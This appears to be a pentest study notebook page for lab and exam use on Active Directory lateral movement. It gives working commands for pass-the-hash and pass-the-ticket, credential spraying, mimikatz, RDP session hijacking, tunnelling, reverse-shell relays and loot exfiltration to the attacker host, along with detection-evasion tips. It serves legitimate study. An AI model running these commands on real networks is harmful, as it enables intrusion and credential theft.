[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 13 of 17 · Focus: Stage 10 — Lateral Movement, Pivoting, and Loot
Previous: Stage 09 — Privilege Escalation · Next: Domain Trusts and Cross-Forest
🔀 STAGE 10 — Lateral Movement, Pivoting & Loot
I’ve got creds (or a hash, or a ticket). Now I spread, tunnel into the networks I couldn’t see, and rip every credential out of the domain. Full command decks live in Impacket-Cheatsheet · Impacket · Ligolo-ng Cheat sheet · Mimikatz-Cheatsheet · Netexec (nxc) Cheat Sheet · Tunneling · Pivoting and Tunnelling.
Feeding in: Stage 08 — Password Attacks & Credential Hunting (where most of the hashes/creds I spray came from) · Stage 05 — Kerberos Attacks (tickets I pass here) · Stage 06 — ACL/Object Abuse (rights that enable DCSync). Feeding out: Domain Trusts & Cross-Forest (where DA on this domain becomes the next forest).
[!note] Auth shorthand used below
-u "$U" -p "$P"= password.$H= the NT hash (PtH).$K= an AES256 key (overpass-the-hash / pass-the-key). For Kerberos/PtT Iexport KRB5CCNAME=./ticket.ccachethen add-k -no-pass. Impacket wants the"$DOMAIN/$U:$P@$IP"target string; nxc / evil-winrm take flags. Always-dc-ip $IP(or$DC) over the VPN. Environment discipline:export IP= U= P= H= DOMAIN= DC= LHOST=at the start of the session and never paste real values into the note.
🔑 Credential Use Matrix — what each tool will actually accept
The #1 lateral-movement failure mode is feeding a tool a credential type it doesn’t speak. This table is the quick reference; details per tool follow below.
| Tool | Protocol / Port | Password | NTLM hash (PtH) | AES key (PtK) | TGT/ST ticket (PtT) | Notes |
|---|---|---|---|---|---|---|
| psexec.py | SMB 445 | ✅ | ✅ -hashes :$H | ✅ -hashes :$H -aesKey $K | ✅ -k -no-pass | Needs ADMIN$ write + service create |
| smbexec.py | SMB 445 | ✅ | ✅ | ✅ | ✅ | No binary drop, service per command |
| wmiexec.py | DCERPC 135 → WMI | ✅ | ✅ | ✅ | ✅ | Quietest of the exec family |
| atexec.py | SMB 445 + Task Scheduler | ✅ | ✅ | ✅ | ✅ | Scheduled task, output via share read |
| dcomexec.py | DCOM 135 | ✅ | ✅ | ✅ | ✅ | MMC20 / ShellWindows / ShellBrowserWindow |
| secretsdump.py | SMB/DRSUAPI 445/135 | ✅ | ✅ | ✅ | ✅ | Remote SAM/LSA/DCSync |
nxc smb | SMB 445 | ✅ | ✅ -H $H | ✅ --aesKey $K | ✅ -k | -x/-X exec, --sam/--lsa/--ntds loot |
nxc winrm | WinRM 5985/5986 | ✅ | ✅ | ✅ | ✅ | Auth-check before evil-winrm |
nxc rdp | RDP 3389 | ✅ | ✅ (Restricted Admin) | ✅ | ✅ | Spray-safe auth checks |
| evil-winrm | WinRM 5985/5986 | ✅ | ✅ -H $H | ❌ (use -k + ticket) | ✅ -k + KRB5CCNAME | -r $DOMAIN for Kerberos realm |
| xfreerdp | RDP 3389 | ✅ | ✅ /pth:$H + Restricted Admin | ❌ | ✅ /d: + Kerberos TGT via /cert-ignore (use xfreerdp /kdc: / ccache) | PtH needs DisableRestrictedAdmin=0 |
| Rubeus | Kerberos 88 | ✅ asktgt | ✅ asktgt /ntlm: | ✅ asktgt /aes256: | ✅ ptt /ticket: | On-host ticket ops — see 08 - Stage 05 - Kerberos Attacks |
| mimikatz | On-host | ✅ | ✅ sekurlsa::pth | ✅ sekurlsa::pth /aes256: | ✅ kerberos::ptt | Also sekurlsa::ekeys to get AES keys |
| Enter-PSSession / Invoke-Command | WinRM 5985/5986 | ✅ -Credential | ❌ (NTLM builtin) | ❌ | ✅ (implicit Kerberos) | CredSSP delegation only if explicitly enabled |
| Sysinternals PsExec | SMB 445 | ✅ -u -p | ❌ (no -pth) | ❌ | ❌ | Known binary — AV-signatured everywhere |
ssh.exe (built-in OpenSSH) | SSH 22 | ✅ | ❌ | ❌ | ❌ | Windows 10 1809+/Server 2019+ ships it |
[!tip] Rule of thumb Impacket + nxc accept everything. evil-winrm does password + NT hash natively; for AES/TGT go through
-k+KRB5CCNAME. RDP only accepts a hash when Restricted Admin mode is enabled. Native Windows tooling (PSRemoting, mstsc, PsExec) mostly won’t take a raw hash — that’s whatsekurlsa::pth /run:or Rubeuspttare for: spawn a process with the credential injected, then use the native tool from inside it.
🎯 Step 1 — Find where I’m already admin
What to look for: (Pwn3d!) from nxc = local admin on that box. That’s my lateral-movement map. SMB 445 = psexec/wmiexec, WinRM 5985 = evil-winrm, RDP 3389, DCOM/WMI on 135, SSH 22 on anything Linux-ish.
Enumerate
# Spray my creds/hash across the subnet — where does admin land?
nxc smb $IP/24 -u "$U" -p "$P"
nxc smb $IP/24 -u "$U" -H "$H" # PtH spray
nxc smb $IP/24 -u "$U" -H "$H" --local-auth # local-admin reuse hunt
nxc smb $IP/24 -u "$U" -p "$P" -k # Kerberos (uses KRB5CCNAME / DNS names)
# Look for (Pwn3d!). WinRM / RDP / SSH reachable?
nxc winrm $IP -u "$U" -p "$P"
nxc rdp $IP/24 -u "$U" -p "$P"
nxc ssh $IP/24 -u "$U" -p "$P"
# Valid-but-not-admin creds still earn: enumerate shares and sessions to plan the path
nxc smb $IP -u "$U" -p "$P" --shares --sessions
[!tip] Snowball Every
(Pwn3d!)host → dump its LSASS/SAM → new creds → re-spray. Repeat until a DA session or replication rights fall out. Map ACL paths with BloodHound-Cheatsheet. MITRE: T1021 Remote Services — with sub-techniques for each protocol below (T1021.001 RDP, .002 SMB/Admin Shares, .004 SSH, .006 WinRM). Account discovery: T1087, remote system discovery T1018.
[!warning] OPSEC on the spray Auth-check spraying fires 4625/4624 on every host in the range and can trip lockout thresholds for password auth (hashes don’t lock out, but bad-count still increments on failed ones). Check the lockout policy first (
nxc smb $DC -u "$U" -p "$P" --pass-pol), keep the spray to one or two password guesses, and log every host I authenticate to for the cleanup section at the bottom.
🖥️ Step 2 — Remote execution (own the box)
Evil-WinRM (5985/5986)
evil-winrm — the daily-driver interactive shell over WinRM. (T1021.006)
Exploit
evil-winrm -i $IP -u "$U" -p "$P"
evil-winrm -i $IP -u "$U" -H "$H" # Pass-the-Hash
evil-winrm -i $DC -u "$U" -r "$DOMAIN" -k # Kerberos (ticket in KRB5CCNAME)
evil-winrm -i $IP -u "$U" -p "$P" -s /opt/tools/ # -s = scripts dir, then `menu`
evil-winrm -i $IP -u "$U" -p "$P" -e /opt/exes/ # -e = exe dir: Invoke-Binary without upload
# in-session: upload /local/mimikatz.exe C:\Temp\m.exe | download C:\loot\flag.txt ./
[!warning] Watch out WinRM needs Remote Management Users or admin — a foothold user often isn’t in it. WinRM lands as the user context (not SYSTEM); privesc still needed for LSASS. Leaves Event 4624 Type 3 +
wsmprovhost.exehosting the runspace. Artifacts:$env:TEMPtransient scripts, and the-sscripts actually upload toC:\Users\<u>\AppData\Local\Tempper execution — clean up.
Impacket exec family — psexec / wmiexec / smbexec / atexec / dcomexec
All from Impacket. (T1569.002 for psexec-style service exec, T1047 WMI, T1053.005 scheduled tasks, T1021.003 DCOM.)
Exploit
# wmiexec — my default: no binary dropped, no service (stealthiest)
wmiexec.py "$DOMAIN/$U:$P@$IP"
wmiexec.py "$DOMAIN/$U@$IP" -hashes ":$H" # PtH
wmiexec.py "$DOMAIN/$U:$P@$IP" "whoami /all" # one-shot
# psexec — SYSTEM shell, but drops a binary + service (loud)
psexec.py "$DOMAIN/$U:$P@$IP"
psexec.py ./Administrator:'Password1'@$IP # LOCAL admin, no domain (note the ./)
# smbexec — fileless service-per-command (middle ground)
smbexec.py "$DOMAIN/$U@$IP" -hashes ":$H"
# atexec — scheduled task (Task Scheduler RPC)
atexec.py "$DOMAIN/$U:$P@$IP" "whoami"
# dcomexec — via DCOM objects (MMC20 default; -object ShellWindows|ShellBrowserWindow)
dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H"
dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" -object ShellWindows
# Kerberos / PtT variant (works for all of the above)
export KRB5CCNAME=./administrator.ccache
wmiexec.py -k -no-pass "$DOMAIN/Administrator@$DC"
[!warning] Watch out psexec.py = loudest (Event 7045 new-service, binary in ADMIN$). wmiexec = quietest (no 7045, only
wmiprvse.exe → cmd.exeon 4688).-kneeds the FQDN ($DC), never a bare IP, and a synced clock —KRB_AP_ERR_SKEWmeansntpdate $DC/rdate -n $DC. Local admin auth uses the./userprefix. atexec writes the command output to a temp file in ADMIN$ and reads it back over SMB — the task name is random but 4698/4702 (task created/modified) fire if Task Scheduler auditing is on. dcomexec/ShellWindows needs the target’s shell to resolve the object; MMC20 is the most reliable object.
[!info] Requirements per impacket exec method
Method Needs Writes Detected by psexec.py Local admin, ADMIN$ write, Service Control Manager RPC .exein ADMIN$ + service7045 (service install), 4697, 4624 Type 3, 4672 smbexec.py Local admin, ADMIN$ write None persistent; temp .bat/output files in ADMIN$7045/4697 (per command!), 4624 Type 3 wmiexec.py Local admin, DCERPC 135 + dynamic ports Output file in ADMIN$ (deleted after) 4688 wmiprvse.exe → cmd.exe, 4624 Type 3atexec.py Local admin, Task Scheduler RPC Temp output in ADMIN$; task created+deleted 4698/4702 (if audited), 4688 svchost.exe → taskeng, 4624 Type 3dcomexec.py Local admin, 135 + dynamic None 4688 explorer.exe/mmc.exe→ child proc, 4624 Type 3all — — 4648 (explicit creds) if password used, 4672 (special privileges) on admin logon
nxc exec (mass / scripted)
Exploit
nxc smb $IP -u "$U" -p "$P" -x "whoami" # cmd
nxc smb $IP -u "$U" -p "$P" -X "Get-Process" # PowerShell
nxc smb $IP -u "$U" -H "$H" -x "whoami" --exec-method smbexec # wmiexec|atexec|mmcexec
nxc smb $IP/24 -u "$U" -H "$H" -x "hostname" # spray a command subnet-wide
nxc winrm $IP -u "$U" -H "$H" -X "whoami" # exec over WinRM instead of SMB
[!tip] Choosing
--exec-methodwmiexec(default) is the quiet option;atexecsurvives WMI filters/EDR blockingwmiprvsechildren;smbexecworks when WMI is broken;mmcexecrides DCOM via MMC20 — a good answer when services/scheduler are audited but DCOM isn’t. On domain controllers psexec-style exec fails more often (no writable ADMIN$ is not the issue — service creation under heavy SACL auditing is); prefer wmiexec/atexec there.
WinRM / PowerShell Remoting — native (no binary dropped)
Exploit
# From a Windows attack/dev box with the credential as a PSCredential:
$pass = ConvertTo-SecureString "$P" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$U", $pass)
Enter-PSSession -ComputerName $IP -Credential $cred
Invoke-Command -ComputerName $IP -Credential $cred -ScriptBlock { whoami; hostname }
Invoke-Command -ComputerName srv01,srv02,srv03 -Credential $cred -ScriptBlock { hostname } # fan-out
# Copy a file over the remoting session (PS5+):
$s = New-PSSession -ComputerName $IP -Credential $cred
Copy-Item .\SharpHound.exe -Destination C:\Temp\ -ToSession $s
[!tools] Stage this — WMI-native exec SharpWMI — WMI lateral movement without touching SMB/ADMIN$: process spawn, file up/download, VBS exec, event-log queries.
# On-host (GhostPack SharpWMI) — WMI process exec as the current/impersonated user:
SharpWMI.exe action=exec computername=$IP command="powershell -enc <b64>"
SharpWMI.exe action=exec computername=$IP command="cmd /c whoami > C:\Temp\o.txt" result=true
SharpWMI.exe action=upload computername=$IP source="C:\Tools\beacon.exe" dest="C:\Temp\b.exe"
SharpWMI.exe action=ls computername=$IP path="C:\Temp"
[!warning] Watch out PSRemoting leaves 4624 Type 3 +
wsmprovhost.exe(4688), plus PowerShell 4103/4104 (module/script-block logging) with my full command text if those logs are on — assume they are in any monitored lab. Double-hop problem: from a PSRemoting session my credential can’t re-authenticate to a third box unless CredSSP is enabled (dangerous: it sends cleartext creds) — use the hash/ticket directly instead. SharpWMI process exec gives no stdout by default — redirect to a file andaction=downloadit back.
DCOM — MMC20 / ShellWindows / ShellBrowserWindow (T1021.003)
DCOM instantiates a COM object over RPC and tells it to run something. No service, no share write — the tradeoff is reliability differences per object.
# impacket (MMC20.Application default):
dcomexec.py "$DOMAIN/$U:$P@$IP" "whoami"
dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" -object ShellBrowserWindow
# nxc mmcexec = MMC20 wrapper:
nxc smb $IP -u "$U" -H "$H" -x "whoami" --exec-method mmcexec
# Native PowerShell, no tooling at all (MMC20):
$d = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$IP"))
$d.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\o.txt","7")
# ShellWindows (needs explorer.exe running on target — i.e. an interactive session):
$w = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","$IP"))
$w.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\Temp\o.txt","C:\","",0)
[!warning] Watch out MMC20 works headless (server OK). ShellWindows/ShellBrowserWindow require an interactive logon session on the target (explorer running) — fine for workstations, fails on servers nobody is logged into. Detection: 4688 child of
mmc.exe/explorer.exe, 4624 Type 3. No stdout over DCOM — redirect to file, read via SMB orSharpWMI action=download.
RDP (3389)
xfreerdp — GUI access, screenshot-grade proof, and the only exec method that gives an interactive logon (useful for tools that need it). (T1021.001)
Exploit
xfreerdp /u:"$U" /p:"$P" /v:$IP /cert-ignore /dynamic-resolution
xfreerdp /u:"$U" /d:"$DOMAIN" /p:"$P" /v:$IP /cert-ignore /drive:loot,/tmp # map my dir for exfil
# PtH over RDP — needs Restricted Admin mode enabled first:
nxc smb $IP -u "$U" -H "$H" -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'
xfreerdp /u:Administrator /pth:$H /v:$IP /cert-ignore
# Session hijack as SYSTEM (no password) — steal a disconnected session:
query user # find Disconnected id
sc create sesshijack binPath= "cmd.exe /c tscon 2 /dest:console"
net start sesshijack
[!warning] Watch out
/pthRDP fails unlessDisableRestrictedAdmin=0— remember to set it back to1during cleanup (I changed a security-relevant key; log it). Restricted Admin is network logon under the hood — the server never receives the password, which is exactly why PtH works. Session hijack needs a full SYSTEM token. RDP is Logon Type 10; reconnect fires Event 4778 (hijack tell), and TerminalServices logs 21/23/24/25. Kicking a logged-in user with my RDP session is visible and rude — checkquery userfirst. See ⚫ Attack.
SSH from Windows — the built-in client
Windows 10 1809+ / Server 2019+ ship ssh.exe, scp.exe, ssh-keygen.exe (OpenSSH client) in C:\Windows\System32\OpenSSH\. When I land on a Windows box and a Linux target is next, no upload needed. (T1021.004)
:: Password auth is interactive — for scripted use, key auth or sshpass equivalent:
ssh user@172.16.5.10
ssh -i C:\Users\me\.ssh\id_rsa user@172.16.5.10
:: Pivot straight from the compromised Windows box (dynamic SOCKS):
ssh -N -D 9050 user@172.16.5.10
:: If the OpenSSH server feature is installed on a Windows target, it works inbound too:
ssh administrator@$IP :: lands in cmd.exe; shell=powershell if defaultShell is set
scp C:\loot.zip user@$LHOST:/tmp/
[!tip] CPTS Exam boxes love a Windows pivot with
ssh.exepresent and a Linux box behind it.ssh -Dfrom Windows + Proxifier (or a second attacker-side relay) beats fighting to upload a tunnelling binary to a host with applocker.
Sysinternals PsExec — the “legitimate admin tool” variant
PsExec (Sysinternals Suite) is the signed, whitelisted-ish original that psexec.py emulates. Use it when I’m on a Windows beachhead with a password and don’t want to drop my own tooling.
PsExec.exe \\$IP -u $DOMAIN\$U -p "$P" cmd.exe
PsExec.exe \\$IP -u $DOMAIN\$U -p "$P" -s powershell.exe :: -s = SYSTEM
PsExec.exe \\$IP -accepteula -u $DOMAIN\$U -p "$P" -c C:\Tools\proc.exe :: copy + run
[!warning] Watch out No PtH support (
-u/-ponly) — pair withsekurlsa::pth /run:to spawn a shell in the hash’s context first. DropsPSEXESVC.exeinto ADMIN$ and creates thePSEXESVCservice: 7045/4697 every time, and the binary is signatured by essentially all AV. First run needs-accepteulaor it hangs on the EULA dialog.
🔒 Kerberos ticket use — Rubeus & mimikatz (bridge from Stage 05)
When my “credential” is a ticket or an AES/RC4 key rather than a password, this is the on-host bridge to every native tool. Full attacks (roasting, delegation, tickets) live in 08 - Stage 05 - Kerberos Attacks.
[!tools] Stage this Rubeus — Kerberos abuse toolkit: request tickets, pass-the-ticket, renew, harvest.
[!tools] Stage this mimikatz — LSASS extraction, PtH, ticket injection, DCSync.
:: Rubeus — key material → ticket → injected into the current session:
Rubeus.exe asktgt /user:$U /domain:$DOMAIN /aes256:$K /opsec /ptt :: AES key → TGT, injected
Rubeus.exe asktgt /user:$U /domain:$DOMAIN /rc4:$H /ptt :: NT hash (= RC4 key) → TGT
Rubeus.exe asktgs /ticket:<b64kirbi> /service:cifs/$DC /ptt :: TGT → service ticket, injected
Rubeus.exe ptt /ticket:<b64kirbi> :: inject an existing .kirbi
Rubeus.exe renew /ticket:<b64kirbi> /ptt :: renew before expiry
klist :: verify what I hold
:: mimikatz equivalents:
privilege::debug
sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$H /run:cmd.exe :: spawn cmd in hash context
sekurlsa::pth /user:Administrator /domain:$DOMAIN /aes256:$K /run:cmd.exe :: overpass-the-hash
kerberos::ptt C:\Temp\administrator.kirbi :: inject ticket
kerberos::list /export :: pull all session tickets to .kirbi
[!warning] Watch out PtT needs the ticket format to match the tool: Rubeus/mimikatz take
.kirbi; Impacket takes.ccache— convert with ticketConverter.py. Overpass-the-hash with/aes256avoids RC4 (aes-only accounts, and RC4 downgrade is a detection). Aftersekurlsa::pth /run:the spawned process has bogus local creds + real network creds — always test withdir \\$DC\c$(network), notwhoami. Detections: 4624 Type 9 (NewCredentials — therunas /netonlysignature pth uses), 4672, LSASS access 4663/Sysmon 10 for mimikatz itself. From Linux, prefer staying fileless:export KRB5CCNAME+-k -no-passon the impacket tool directly.
🕸️ Step 3 — Pivoting (reach the networks I can’t see)
Ligolo-ng — first pivot, end to end (the 90% case)
ligolo-ng gives a real TUN interface on my box — every tool works natively (full nmap, impacket, no proxychains). Three players: proxy (my box, the CLI), agent (on the pivot, dials back to me), target (behind the pivot). Connecting ≠ traffic flowing — I still need session → interface → route → tunnel. autoroute bundles the last three.
[!tools] Stage this ligolo-ng agents (the proxy runs from my attack box; drop the matching agent on the pivot):
ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature)
Attacker — start proxy
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# production-grade: real certs, -certfile/-keyfile; -selfcert is fine for the lab
Pivot — run the agent (transfer the binary first; see file-transfer one-liners in Tunneling)
./agent -connect $LHOST:11601 -ignore-cert -retry # Linux
# .\agent.exe -connect $LHOST:11601 -ignore-cert -retry # Windows
In the proxy CLI — build the tunnel
session # arrow-pick the agent → prompt becomes [Agent : root@dmz01] »
ifconfig # read the pivot's NICs, spot the internal subnet (e.g. 172.16.10.0/24)
autoroute # Space to tick the internal subnet → create iface `ligolo` → Yes to start
# manual equivalent (when autoroute isn't available or I want control):
ifcreate --name ligolo
route_add --name ligolo --route 172.16.10.0/24
start
tunnel_list
interface_list
Attacker — verify and scan through it (normal shell, NOT the Ligolo CLI)
ip route show dev ligolo
nmap --unprivileged -sT -Pn -n -p 22,80,445,3389,5985 172.16.10.20
[!warning] Watch out v0.9.x: use bare
sessionand pick interactively —session 1/session -i 1are copied from dead guides and error. Ligolo rebuilds traffic in userspace, so scan-sT -Pn -n --unprivileged— raw SYN scans and ping give empty results through the tunnel. Interface name is a flag:autoroute --interface ligolo, neverautoroute ligolo. On the Windows agent, run it from a path I control (C:\Windows\Temp\agent.exe) and-ignore-certis only acceptable with-selfcerton my side; with real certs pin properly. The agent connection is a single outbound TLS session — it survives NAT and egress filtering as long as TCP/11601 out is allowed.
Ligolo — double pivot
The deep net (10.20.30.0/24) sits behind a second box only the first pivot can reach. Point Agent 2 at a listener on Pivot 1 (Pivot 2 has no route to my VPN — that’s the whole point), and give it its own interface.
# Pivot 1 selected — open a relay back to my proxy:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp
listener_list
# On Pivot 2 — dial Pivot 1's reachable IP + listener port (NOT $LHOST):
/tmp/agent -connect 172.16.10.10:4444 -ignore-cert -retry
# Back in proxy — the new agent appears:
session # select srv02 (agent 2)
autoroute --interface ligolo2 # tick ONLY 10.20.30.0/24, start
[!warning] Watch out Each pivot gets its own interface (
ligolo,ligolo2, …) — never route the shared subnet through two interfaces or packets go down the wrong tunnel. Start Agent 2 with-retryin case the relay isn’t ready. Triple pivots chain the same way: listener on the deepest reachable agent, next agent dials that listener.
Ligolo — reverse shells & the pivot’s own localhost
# Catch a reverse shell from inside: internal host → pivot:5555 → my nc on 4444
listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:4444 --tcp
# Reach a service bound to 127.0.0.1 ON THE PIVOT (magic 240.0.0.0/4 range):
route_add --name ligolo --route 240.0.0.1/32
nc -lvnp 4444 # my handler; payload calls back to <pivot-ip>:5555
curl http://240.0.0.1:8080/ # 240.0.0.1 == pivot's own localhost
[!tip] Listener mental model
listener_add --addr <pivot-bind> --to <my-side>makes the pivot listen and pipes the connection back through the proxy to my loopback. This is THE answer to “internal target has no route to me”: the target calls the pivot (which it can reach), and the callback lands on my handler.listener_del 0removes it at cleanup.
Chisel — reverse SOCKS (HTTP-only egress)
chisel tunnels TCP/UDP over HTTP(S) — survives proxies that only allow web traffic, and one binary does server+client.
[!tools] Stage this chisel binaries:
# Attacker:
./chisel server -p 8080 --reverse
# Pivot (dials out over what looks like HTTP):
./chisel client $LHOST:8080 R:1080:socks
# Expose a single deep service instead of full SOCKS:
./chisel client $LHOST:8080 R:1433:172.16.5.10:1433 # then mssqlclient.py sa:pw@127.0.0.1:1433
# Forward (non-reverse) when the pivot CAN reach me and I want pivot-side listen → my side:
./chisel server -p 8080
./chisel client $LHOST:8080 3000:10.20.30.5:3000 # my :3000 → deep host :3000 via pivot
# Auth + fingerprint pinning for anything beyond a lab:
./chisel server -p 8080 --reverse --auth user:pass
./chisel client --fingerprint <base64> $LHOST:8080 R:1080:socks
[!warning] Watch out Server needs
--reverseforR:remotes or the SOCKS proxy silently won’t work (the #1 chisel failure). Chisel is SOCKS5 = TCP-only — same-sT -Pnconstraint as everything SOCKS. TLS mode (chisel server --tls-key/--tls-cert, clienthttps://) makes it look like HTTPS; plaintext mode is trivially DPI-fingerprintable. Windows Defender has signatures for default chisel builds — expect to need a rename at minimum in monitored environments.
proxychains + SOCKS — run any tool through the tunnel
proxychains-ng LD_PRELOADs any Linux tool’s connect() through my SOCKS proxy.
# /etc/proxychains4.conf → [ProxyList] socks5 127.0.0.1 1080 (proxy_dns, quiet_mode)
proxychains4 nmap -sT -Pn -n -p 445,3389,5985 10.10.10.0/24
proxychains4 wmiexec.py "$DOMAIN/$U:$P@10.10.10.100"
proxychains4 evil-winrm -i 10.10.10.100 -u "$U" -p "$P"
proxychains4 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user krbtgt
# Chain two SOCKS proxies (double pivot without ligolo):
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
[!warning] Watch out SOCKS is TCP only — nmap must be
-sT -Pn(no ICMP, no SYN). UDP dies through proxychains: that kills DNS unlessproxy_dnsis set (and even then it’s slow), and it kills pure-UDP tools entirely.nmap --dns-servers $DCstill won’t fix UDP under SOCKS5 — prefer IP literals and/etc/hostsentries, or use Ligolo when name resolution matters. Static binaries only: proxychains hooks libc, so Go binaries and some .NET tools ignore it. Prefer Ligolo when I want raw L3 (full nmap, no proxychains). Full tables in Tunneling.
🌉 More Tunnels — SSH fwds · sshuttle · socat · plink · meterpreter · netsh · dnscat2 · webshell tunnels
Ligolo/chisel (above) are my 90% case. These are the ones the exam actually tests and the ones I fall back to when there’s no ligolo binary on the box, no SSH creds, or egress is choked. Throughout, $LHOST = my attack host, $IP = the pivot’s lab-facing IP, and 172.16.5.x = an internal host only the pivot routes to.
SSH port forwarding — -L / -D / -R (the exam classic)
What to look for → I’ve got SSH creds on a dual-homed pivot: a service bound to its localhost (MySQL 3306, an admin panel), or a whole internal subnet only the pivot can reach. ip a on the pivot shows a second NIC (e.g. ens224 → 172.16.5.0/23).
Enumerate
nmap -sT -p22,3306 $IP # 22 open, 3306 "closed" == MySQL bound to the pivot's own loopback
ssh ubuntu@$IP 'ip -br a' # confirm the second NIC + internal subnet
Exploit / Attack
# -L LOCAL → reach ONE remote-side service via a local port ("localhost" = the PIVOT's loopback)
ssh -L 1234:localhost:3306 ubuntu@$IP
ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@$IP # stack -L for several
netstat -antp | grep 1234 && nmap -sV -p1234 localhost # verify the forward is live
# -D DYNAMIC → full SOCKS into everything the pivot can route to
ssh -D 9050 ubuntu@$IP # then: socks4 127.0.0.1 9050 in /etc/proxychains.conf
proxychains nmap -sT -Pn 172.16.5.19
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'
# -R REVERSE → pivot listens & forwards a callback home (target can't reach me directly)
# bring the forward UP on the pivot BEFORE firing the payload:
ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@$IP -vN
# msfvenom payload LHOST=<pivot-internal-ip> LPORT=8080 → handler on my :8000
# -J JUMP → multi-hop in one command (ProxyJump)
ssh -J ubuntu@$IP admin@172.16.5.10
scp -J ubuntu@$IP ./loot.zip admin@172.16.5.10:/tmp/
# persistent config form (~/.ssh/config):
# Host deepbox
# HostName 172.16.5.10
# User admin
# ProxyJump ubuntu@<pivot-ip>
# DynamicForward 9050
[!warning] Watch out
localhostinside-Lmeans the pivot’s loopback, not mine — the single most-misread SSH-forward detail. Proxychains is TCP-connect only:-sT -Pnalways, never SYN, and unauth ICMP sweeps die silently against Windows (Defender drops ping).-Rmust be up before the payload runs; the resulting Meterpreter session shows the client as127.0.0.1because it arrives over the local SSH socket. Tunnels die with thesshprocess — wrap inautossh -M 0 -N -D 9050 ...for a long engagement.-Rbinding to a non-loopback address on the pivot needsGatewayPorts yesin its sshd_config — otherwise the reverse forward only listens on the pivot’s localhost. Walkthrough: 2 - SSH Port Forwarding & Dynamic SOCKS Proxying.
sshuttle — SSH pivot with zero proxychains prefix
sshuttle builds a poor-man’s VPN over a plain SSH session.
What to look for → plain SSH creds on the pivot and I want every tool (real SYN nmap, -A, whatever) to “just work” against the internal subnet without a proxychains wrapper. I have root on my own box.
Exploit / Attack
sudo sshuttle -r ubuntu@$IP 172.16.5.0/23 -v # installs iptables NAT on MY host, redirects the subnet
nmap -sV -p3389 172.16.5.19 -Pn # no proxychains — real scans work directly
sudo sshuttle -r ubuntu@$IP 0.0.0.0/0 # tunnel *everything* (careful — routes all my traffic)
sudo sshuttle -r ubuntu@$IP 172.16.5.0/23 --dns # also capture DNS (queries resolve via pivot)
[!warning] Watch out Needs root on the attack host (it writes iptables NAT) and python on the pivot. Only does plain SSH — no TOR / HTTP-proxy chaining like proxychains. Perfect for a single SSH pivot; reach back to
-D+ proxychains when the pivot chain itself needs flexibility. Deck: 5 - SSH for Windows, Sshuttle & Rpivot.
socat — bidirectional relay (no SSH, no creds)
socat just glues two sockets together and relays.
What to look for → foothold is a webshell / limited RCE — no SSH creds, but I can drop and run a binary.
Exploit / Attack
# Redirect an inbound REVERSE shell on to my listener — run ON THE PIVOT:
socat TCP4-LISTEN:8080,fork TCP4:$LHOST:80
# payload LHOST=<pivot-ip> LPORT=8080 → my handler on :80
# Redirect out to a BIND shell sitting on an internal target — run ON THE PIVOT:
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
# msf bind handler: set RHOST <pivot-ip> ; set LPORT 8080 (socat completes the hop)
[!warning] Watch out
forkis mandatory for more than one connection — omit it and the relay dies after the first. Direction flips with shell type: reverse-shell relay sits between target→my-listener; bind-shell relay sits between my-handler→target. No SSH/creds needed, only the ability to execute the binary — ideal off a webshell.ncat --sh-execcovers simpler cases if socat’s missing. Deck: 4 - Socat Redirection.
plink.exe — ssh -D from a Windows foothold
What to look for → I’m operating from a Windows box (my engagement host, or a compromised Windows I’m living-off-the-land on) and PuTTY/plink is present or dropable. Same intent as ssh -D, but from CMD.
Exploit / Attack
plink -ssh -D 9050 ubuntu@<pivot-ip>
:: point Proxifier at SOCKS4 127.0.0.1:9050 → tunnels mstsc.exe / any GUI app through the SOCKS listener
[!warning] Watch out GUI apps (
mstsc.exe) can’t read proxychains — that’s why Proxifier exists: configure a SOCKS4 profile for127.0.0.1:9050and it transparently proxies the app. Modern Windows ships native OpenSSH (ssh -Dworks too) — plink only wins when the SSH client is absent but PuTTY’s already installed. Deck: 5 - SSH for Windows, Sshuttle & Rpivot.
Meterpreter — autoroute + socks_proxy + portfwd
From Metasploit. What to look for → I already have a Meterpreter session on the pivot. No SSH creds needed at all — MSF pivots through the session itself.
Enumerate (sweep behind it)
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
# ICMP filtered? loop on the pivot instead:
for i in $(seq 1 254); do (ping -c1 172.16.5.$i | grep "bytes from" &); done
Exploit / Attack
# autoroute — add the subnet to MSF's routing table (through session 1)
meterpreter > run autoroute -s 172.16.5.0/23
meterpreter > run autoroute -p # print active routes
# non-deprecated post-module form:
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1; set SUBNET 172.16.5.0; run
# socks_proxy — expose a SOCKS listener backed by those routes → proxychains
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050; set SRVHOST 0.0.0.0; set version 4a; run
# /etc/proxychains.conf: socks4 127.0.0.1 9050
proxychains nmap -sT -Pn -p3389 172.16.5.19
# portfwd — direct relay for a single service (no proxychains needed)
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19 # local :3300 → target:3389
xfreerdp /v:localhost:3300 /u:victor /p:'pass@123'
